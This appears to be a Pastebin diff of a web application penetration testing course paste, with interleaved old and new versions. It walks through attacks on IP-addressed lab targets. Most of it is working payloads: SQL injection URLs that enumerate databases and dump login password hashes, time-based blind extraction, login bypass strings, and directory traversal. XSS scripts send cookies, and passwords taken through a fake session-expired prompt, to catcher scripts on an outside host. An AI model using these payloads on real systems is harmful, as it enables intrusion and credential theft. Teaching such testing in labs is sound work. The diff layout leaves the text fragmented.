View difference between Paste ID: h9YzKEmw and 5sG7Rpg5
SHOW: | | - or go back to the newest paste.
1-
####################
1+
#################################
2-
# Course Materials #
2+
# Secure Coding For InterSwitch #
3-
####################
3+
#################################
4
5-
Slides:
5+
6-
https://s3.amazonaws.com/infosecaddictsfiles/WebAppSecIsNotEasyButCanBeSimple.pptx
6+
-------------------------------------------------------------------------------------------------------------------------------
7-
https://s3.amazonaws.com/infosecaddictsfiles/Burp+Suite.pptx
7+
Slides to look at today:
8
http://www.slideshare.net/SeniorStoryteller/lisa-conference-2014-devops-and-appsec-who-is-responsible
9
http://www.slideshare.net/katyanton/owasp-toptenmapping201505lwc
10-
Lab Manual:
10+
11-
https://s3.amazonaws.com/infosecaddictsfiles/BurpSuite-Bootcamp-v1.pdf
11+
12
13
#########################################
14
# Day 1: Basic: Web Application Testing #
15-
Day 1 Homework:
15+
#########################################
16-
Here is a good reference of how to use Burp to look for OWASP Top 10 vulnerabilities:
16+
17-
https://support.portswigger.net/customer/portal/articles/1969845-using-burp-to-test-for-the-owasp-top-ten
17+
18
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
19
20-
Use Burp Suite to demonstrate with screenshots and explanations of how to test for the all of the OWASP Top 10 vulnerabilities against your choice of targets the following targets:
20+
21-
http://54.213.252.28/ 
21+
22-
http://40.86.183.118/
22+
23
The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
24-
Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day1-Homework.docx)
24+
25
	1. Does the website talk to a DB?
26-
Day 1 Challenge:
26+
27-
Use Burp Suite to demonstrate with screenshots and explanations of how to test for the all of the OWASP Top 10 vulnerabilities against your choice of targets the following targets:
27+
28-
http://strategicsec.com
28+
29-
http://54.213.131.105/
29+
30
		- If yes - try XSS
31-
Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day1-Challenge.docx)
31+
32
	3. Does the page reference a file?
33
		- If yes - try LFI/RFI
34-
Day 2 Homework:
34+
35-
Here are some sample web app penetration test reports from other companies that you can look at:
35+
Let's start with some manual testing against 54.149.82.150
36-
https://s3.amazonaws.com/infosecaddictsfiles/WebAppSampleReports.zip
36+
37
38-
I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
38+
39
http://54.149.82.150/
40
41-
Day 2 Challenge:
41+
42-
----------------------------------
42+
43-
Use the StrategicSec Ubuntu VM to demonstrate how to install, configure, and use at least five (5) of the following Burp Suite extensions from these websites and lists below: 
43+
44-
https://github.com/integrissecurity/carbonator
44+
45-
https://github.com/allfro/BurpKit
45+
46-
https://github.com/nccgroup/BurpSuiteLoggerPlusPlus
46+
47-
https://github.com/Quitten/Autorize
47+
48-
https://github.com/codewatchorg/sqlipy
48+
49-
https://github.com/augustd/burp-suite-token-fetcher
49+
http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script>
50-
https://github.com/augustd/burp-suite-gwt-scan
50+
51
Ok, so we've verified that there is XSS in the search box. 
52-
https://webbreacher.wordpress.com/2015/07/25/my-favorite-burp-suite-extensions/
52+
53-
http://bughunting.guide/the-top-5-burp-suite-extensions/
53+
54-
https://www.codemagi.com/downloads/
54+
55
Let's give the newsletter signup box a shot
56
57
Moving on to the login page.
58-
You must use them against your choice of targets the following targets:
58+
http://54.149.82.150/login.aspx
59-
http://strategicsec.com
59+
60-
http://54.213.252.28/ 
60+
61-
http://40.86.183.118/
61+
62-
http://54.213.131.105/
62+
63
 'Users//User[@Name=''' and @Password=''']' has an invalid token.
64-
Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day2-Challenge.docx)
64+
65
66
Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
67
68-
##########
68+
69-
# VMWare #
69+
70-
##########
70+
71-
- For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player.
71+
72
Line 113:            string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
73-
- A 30-day trial of Workstation 11 can be downloaded from here:
73+
74-
- https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation/11_0
74+
75
Line 116:            if (xmln.Count > 0)
76-
- A 30-day trial of Fusion 7 can be downloaded from here:
76+
77-
- https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_fusion/7_0
77+
78
79-
- The newest version of VMWare Player can be downloaded from here:
79+
80-
- https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_player/7_0
80+
81
82
WTF is this:
83-
- Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class.
83+
84
85
86-
##########################
86+
87-
# Download the attack VM #
87+
88-
##########################
88+
89-
https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
89+
90-
user: infosecaddicts
90+
91-
pass: infosecaddicts
91+
92
- Rat Proxy				https://code.google.com/p/ratproxy/
93
- Zap Proxy				https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
94-
##################################
94+
95-
# Basic: Web Application Testing #
95+
96-
##################################
96+
97
98
Let's go back to that page error message.....
99
100
101
Let's check it out:
102
http://54.149.82.150/AuthInfo.xml
103
104
Looks like we found passwords!!!!!!!!!!
105
106
107
Looks like there no significant new functionality after logging in with the stolen credentials.
108
109
Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
110
111
112
http://54.149.82.150/bookdetail.aspx?id=2
113
114
115
Ok, there is parameter passing (bookdetail.aspx?id=2).
116-
Let's start with some manual testing against 54.213.100.93
116+
117
The page name is:		bookdetail.aspx
118
The parameter name is:		id
119
The paramber value is:		2
120-
http://54.213.252.28/
120+
121
122
Let's try throwing a single quote (') in there:
123
124
http://54.149.82.150/bookdetail.aspx?id=2'
125
126
127
I get the following error:
128
129
Unclosed quotation mark after the character string ''.
130-
http://54.213.252.28/BasicSearch.aspx?Word=<script>alert(123);</script>
130+
131
132
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
133
134
135
136
137
138
139-
http://54.213.252.28/login.aspx
139+
140
141
142
143
#############################################################################
144
# SQL Injection                                                             #
145
# https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx #
146
#############################################################################
147
148
149
- Another quick way to test for SQLI is to remove the paramter value
150
151
 
152
#############################
153
# Error-Based SQL Injection #
154
#############################
155
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
156
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
157
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
158
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
159
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
160
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- 	NOTE: "N" - just means to keep going until you run out of databases
161
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
162
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
163
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
164
165
166
167
168
#############################
169
# Union-Based SQL Injection #
170
#############################
171
http://54.149.82.150/bookdetail.aspx?id=2 order by 100--
172
http://54.149.82.150/bookdetail.aspx?id=2 order by 50--
173
http://54.149.82.150/bookdetail.aspx?id=2 order by 25--
174
http://54.149.82.150/bookdetail.aspx?id=2 order by 10--
175
http://54.149.82.150/bookdetail.aspx?id=2 order by 5--
176
http://54.149.82.150/bookdetail.aspx?id=2 order by 6--
177
http://54.149.82.150/bookdetail.aspx?id=2 order by 7--
178
http://54.149.82.150/bookdetail.aspx?id=2 order by 8--
179
http://54.149.82.150/bookdetail.aspx?id=2 order by 9--
180
http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
181
182
	We are using a union select statement because we are joining the developer's query with one of our own.
183-
http://54.213.252.28/AuthInfo.xml
183+
184
	http://www.techonthenet.com/sql/union.php
185
	The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements. 
186
	It removes duplicate rows between the various SELECT statements.
187
188
	Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
189
190
http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
191
192
	Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
193-
http://54.213.252.28/bookdetail.aspx?id=2
193+
194
http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
195
http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
196
http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
197
http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
198
199
200
201
202
203
###############################
204
# Blind SQL Injection Testing #
205-
http://54.213.252.28/bookdetail.aspx?id=2'
205+
206
Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
207
  	 
208
3 - Total Characters
209
http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
210
http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
211
http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- 		(Ok, the username is 3 chars long - it waited 10 seconds)
212
213
Let's go for a quick check to see if it's DBO
214
http://54.149.82.150/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
215
216
Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
217
218
D  - 1st Character
219
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- 	
220
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
221
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
222
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- 	(Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
223
 
224
B - 2nd Character
225
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
226-
# https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
226+
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
227
 
228
O - 3rd Character
229
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
230
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
231
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
232
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
233
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
234
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
235
236-
http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
236+
237-
http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
237+
238-
http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
238+
239-
http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
239+
240-
http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
240+
241-
http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- 	NOTE: "N" - just means to keep going until you run out of databases
241+
242-
http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
242+
243-
http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
243+
244-
http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
244+
245
###################################################################
246
# What is XSS                                                     #
247
# https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx #
248
###################################################################
249
250
OK - what is Cross Site Scripting (XSS)
251
252-
http://54.213.252.28/bookdetail.aspx?id=2 order by 100--
252+
253-
http://54.213.252.28/bookdetail.aspx?id=2 order by 50--
253+
254-
http://54.213.252.28/bookdetail.aspx?id=2 order by 25--
254+
	http://54.186.248.116/xss_practice/
255-
http://54.213.252.28/bookdetail.aspx?id=2 order by 10--
255+
256-
http://54.213.252.28/bookdetail.aspx?id=2 order by 5--
256+
257-
http://54.213.252.28/bookdetail.aspx?id=2 order by 6--
257+
258-
http://54.213.252.28/bookdetail.aspx?id=2 order by 7--
258+
259-
http://54.213.252.28/bookdetail.aspx?id=2 order by 8--
259+
260-
http://54.213.252.28/bookdetail.aspx?id=2 order by 9--
260+
261-
http://54.213.252.28/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
261+
262
	
263
	<script>alert('So this is XSS')</script>
264
265
266
	This should pop-up an alert window with your message in it proving XSS is in fact possible.
267
	Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
268
269
270
3. In the search box type:
271-
http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
271+
272
	<script>alert(document.cookie)</script>
273
274
275-
http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
275+
276-
http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
276+
	Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
277-
http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
277+
278-
http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
278+
279
280
	<script>document.location="http://54.186.248.116/xss_practice/cookie_catcher.php?c="+document.cookie</script> 
281
282
283
This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
284
285-
http://54.213.252.28/bookdetail.aspx?id=(2)	
285+
286-
http://54.213.252.28/bookdetail.aspx?id=(4-2)	
286+
287-
http://54.213.252.28/bookdetail.aspx?id=(4-1)
287+
	http://54.186.248.116/xss_practice/cookie_stealer_logs.html
288
289
290
The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
291-
http://54.213.252.28/bookdetail.aspx?id=2 or 1=1-- 
291+
292-
http://54.213.252.28/bookdetail.aspx?id=2 or 1=2-- 
292+
293-
http://54.213.252.28/bookdetail.aspx?id=1*1 
293+
294-
http://54.213.252.28/bookdetail.aspx?id=2 or 1 >-1# 
294+
295-
http://54.213.252.28/bookdetail.aspx?id=2 or 1<99# 
295+
296-
http://54.213.252.28/bookdetail.aspx?id=2 or 1<>1# 
296+
297-
http://54.213.252.28/bookdetail.aspx?id=2 or 2 != 3-- 
297+
298-
http://54.213.252.28/bookdetail.aspx?id=2 &0#
298+
299
############################
300
301
302
Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
303
304
305
Use Firefox to browse to the following location:
306
307
	http://54.186.248.116/xss_practice/
308
309
310-
http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
310+
311-
http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
311+
312-
http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- 		(Ok, the username is 3 chars long - it waited 10 seconds)
312+
313
314
315-
http://54.213.252.28/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
315+
316
--------
317
318
<script>
319
password=prompt('Your session is expired. Please enter your password to continue',' '); 
320-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- 	
320+
document.write("<img src=\"http://54.186.248.116/xss_practice/passwordgrabber.php?password=" +password+"\">");
321-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
321+
322-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
322+
323-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- 	(Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
323+
324
Now view the stolen cookie at:
325
	http://54.186.248.116/xss_practice/passwords.html
326-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
326+
327-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
327+
328
329
Option 2
330-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
330+
331-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
331+
332-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
332+
333-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
333+
334-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
334+
document.write("<img src=\"http://54.186.248.116/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
335-
http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
335+
336
337
338
339
340
Now view the stolen cookie at:
341
http://54.186.248.116/xss_practice/username_password_logs.html
342
343
344
345
346
-------------------------------------------------------------------------------------------------------------------------------
347
ASP.NET/C#
348-
# https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
348+
Slides to look at today:
349
http://www.slideshare.net/gmaran23/beefing-up-security-in-aspnet-dot-net-bangalore
350
http://www.slideshare.net/gmaran23/beefing-upsecurityinasp-netdotnetblraug082015
351
https://www.owasp.org/images/c/c4/IOActive-OWASP-London-200907.pdf
352
http://www.slideshare.net/SharePointRadi/aspnet-web-security-48518474
353
354
355-
	http://40.86.183.118/xss_practice/
355+
356
# Day 2: Advanced Web Application Testing #
357
###########################################
358
359
- Another way is to see if you can get the backend to perform an arithmetic function
360
http://54.149.82.150/bookdetail.aspx?id=(2)	
361
http://54.149.82.150/bookdetail.aspx?id=(4-2)	
362
http://54.149.82.150/bookdetail.aspx?id=(4-1)
363
364
365
366
http://54.149.82.150/bookdetail.aspx?id=2 or 1=1-- 
367
http://54.149.82.150/bookdetail.aspx?id=2 or 1=2-- 
368-
	Ok, click OK and then click back and go back to http://40.86.183.118/xss_practice/
368+
http://54.149.82.150/bookdetail.aspx?id=1*1 
369
http://54.149.82.150/bookdetail.aspx?id=2 or 1 >-1# 
370
http://54.149.82.150/bookdetail.aspx?id=2 or 1<99# 
371
http://54.149.82.150/bookdetail.aspx?id=2 or 1<>1# 
372
http://54.149.82.150/bookdetail.aspx?id=2 or 2 != 3-- 
373
http://54.149.82.150/bookdetail.aspx?id=2 &0#
374
375
376
#########################################
377-
	Ok, click OK and then click back and go back to http://40.86.183.118/xss_practice/
377+
# Let's kick it up a notch with ASP.NET #
378
# http://54.200.178.220/                #
379
#########################################
380
381-
	<script>document.location="http://40.86.183.118/xss_practice/cookie_catcher.php?c="+document.cookie</script> 
381+
382
The trading Web App is on http://54.200.178.220/
383
384
385
Try the following in the search box:
386
	<script>alert(123);</script>
387
	' or 1=1
388-
	http://40.86.183.118/xss_practice/cookie_stealer_logs.html
388+
	' and a=a
389
	1=1
390
	Joe'+OR+1=1;--
391
392
393
	<script>alert(123);</script>
394
	
395
Open a new tab in firefox and try this:
396
	http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName
397
398
399
Try the contact us form.
400
Open a new tab in firefox and try this:
401
	http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini
402
403
Try this on the inquiry form:
404
	Joe McCray
405
	1234567890
406
	joe@strategicsec.com') waitfor delay '00:00:10'--
407
408-
	http://40.86.183.118/xss_practice/
408+
409
Login Box:
410
411
	' or 1=1 or ''='
412
	anything   			(click login instead of pressing enter)
413
414
415
416
Tamper Data: (notice 2 session IDs)
417
418
	AcmeTrading=a4b796687b846dd4a34931d708c62b49; 		SessionID is md5
419
	IsAdmin=yes; 
420
	ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
421-
document.write("<img src=\"http://40.86.183.118/xss_practice/passwordgrabber.php?password=" +password+"\">");
421+
422
423
424
Profile - Detail	(tamper data)
425
	Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
426-
	http://40.86.183.118/xss_practice/passwords.html
426+
	joe|set
427
428
429
	xss_upload.txt (Upload Bulk Order)
430
	<script>alert(123);</script>
431
432
433
434
435-
document.write("<img src=\"http://40.86.183.118/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
435+
436
# Trading Web App with WAF #
437
# http://54.213.131.105    #
438
############################
439
440
441
Try the following in the search box:
442-
http://40.86.183.118/xss_practice/username_password_logs.html
442+
	<script>alert(123);</script>
443
	<script>alert(123);</script
444
	<script>alert(123)
445
	<script>alert
446
	<script>
447
	<script
448
	<scrip
449
	<scri
450
	<scr
451
	<sc
452
	<s
453
	<p
454
	<
455
	< s
456
	Joe'+OR+1=1;--
457
458
	
459
Open a new tab in firefox and try this:
460
	http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
461
462
463
	xss_upload.txt (Upload Bulk Order)
464
	<script>alert(123);</script>
465
466
467
Login Box:
468
469
	' or 1=1 or ''='
470
	anything
471
472
473
#########################
474
# Setting up Burp Suite #
475
#########################
476
Download latest free version of Burp at http://www.portswigger.net/burp/download.html 
477
Make sure that  burpsuite_free_v1.6.31.jar is set as executable (chmod +x burpsuite_free_v1.6.31.jar) and then run:
478
479
java -jar burpsuite_free_v1.6.31.jar
480
481
	- Click the "Proxy" tab
482
	- Click the "Options" sub tab
483
	- Click “Edit” in the “Proxy Listeners” section
484
	- In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only”
485
	- In the same pop up make sure that the bind port is 8080
486
	- In the same pop up select the “Certificate” tab
487
	- Ensure that burp is configured to "generate CA-signed per-host certificates"
488
489
Open Firefox
490
	- Click "Edit"
491
	- Click “Preferences"
492
	- Click the "Advanced" tab
493
	- Click the "Network" sub tab
494
	- Click the connection "settings" button
495
	- Click "manual proxy configuration"
496-
################
496+
497-
# Web Servcies #
497+
498-
################
498+
499-
http://data.serviceplatform.org/wsdl_grabbing/seekda-wsdls.with_ini/36-CurrencyConvertor.wsdl
499+
500
501-
###############################################################
501+
502-
# Question 1: What is the process that you use when you test? #
502+
503-
###############################################################
503+
504
505-
Step 1: Automated Testing
505+
506
Click "Get Certificate", then click "View".
507-
Step 1a: Web Application vulnerability scanners
507+
508-
-----------------------------------------------
508+
509-
- Run two (2) unauthenticated vulnerability scans against the target
509+
510-
- Run two (2) authenticated vulnerability scans against the target with low-level user credentials
510+
511-
- Run two (2) authenticated vulnerability scans against the target with admin privileges
511+
512
Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog
513-
The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
513+
514
Click “Advanced” and go to “Certificates” tab
515-
A good web application vulnerability scanner comparison website is here:
515+
516-
http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
516+
517
Click "Import" and select the certificate file that you previously saved.
518
519-
Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
519+
520
521-
When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
521+
522
523
524-
Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
524+
525
526
527-
Also, be sure to save the scan results and logs. I usually provide this data to the customer.
527+
528
-------------------------------------------------------------------------------------------------------------------------------
529
Java/Spring MVC
530
Slides to look at today:
531-
Step 1b: Directory Brute Forcer
531+
http://www.slideshare.net/JonasEliasFlesch/securing-java-web-applications
532-
-------------------------------
532+
http://www.slideshare.net/mraible/java-web-application-security-with-java-ee-spring-security-and-apache-shiro-uberconf-2015
533-
I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
533+
534
Mobile:
535
http://www.slideshare.net/denimgroup/building-a-mobile-security-program
536
537-
Step 2: Manual Testing
537+
538
539-
Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
539+
540
###########################################
541-
Step 2a: Spider/Scan the entire site with Burp Suite
541+
# Day 3: Advanced Web Application Testing #
542-
Save the spider and scan results. I usually provide this data to the customer as well.
542+
543
544
545-
Step 2b: Browse through the site using the 3 question method
545+
#######################
546-
Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
546+
# Attacking PHP/MySQL #
547
#######################
548-
Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
548+
549
Go to LAMP Target homepage
550-
Here is what I mean:
550+
http://54.186.248.116/
551-
http://www.site.com/page.aspx?parametername=parametervalue
551+
552
 
553-
When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
553+
554
Clicking on the Acer Link:
555-
http://www.site.com/page.aspx?parametername=[ payload ]
555+
http://54.186.248.116/acre2.php?lap=acer
556
 
557-
You need to ensure that you send the payload this way, and like this below:
557+
    - Found parameter passing (answer yes to question 1)
558
    - Insert ' to test for SQLI
559-
http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
559+
560
http://54.186.248.116/acre2.php?lap=acer'
561-
This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
561+
562
 
563
Page returns the following error:
564
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
565
 
566
 
567
 
568
In order to perform union-based sql injection - we must first determine the number of columns in this query.
569
We do this using the ORDER BY
570-
# Question 2: How much fuzzing is enough? #
570+
http://54.186.248.116/acre2.php?lap=acer' order by 100-- +
571
 
572-
There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
572+
Page returns the following error:
573
Unknown column '100' in 'order clause'
574-
Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
574+
575
 
576
 
577-
Step 1: Ask yourself the 3 questions per page of the site.
577+
http://54.186.248.116/acre2.php?lap=acer' order by 50-- +
578
 
579-
Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
579+
Page returns the following error:
580
Unknown column '50' in 'order clause'
581-
Step 3: When you load your fuzz strings - use the following decision tree
581+
582
 
583-
	- Are the fuzz strings causing a default error message (example 404)?
583+
584-
		- If this is the case then it is most likely NOT vulnerable
584+
http://54.186.248.116/acre2.php?lap=acer' order by 25-- +
585
Page returns the following error:
586-
	- Are the fuzz strings causing a WAF or LB custom error message?
586+
Unknown column '25' in 'order clause'
587-
		- If this is the case then you need to find an encoding method to bypass
587+
588
 
589
 
590-
	- Are the fuzz strings causing an error message that discloses the backend type?
590+
http://54.186.248.116/acre2.php?lap=acer' order by 12-- +
591-
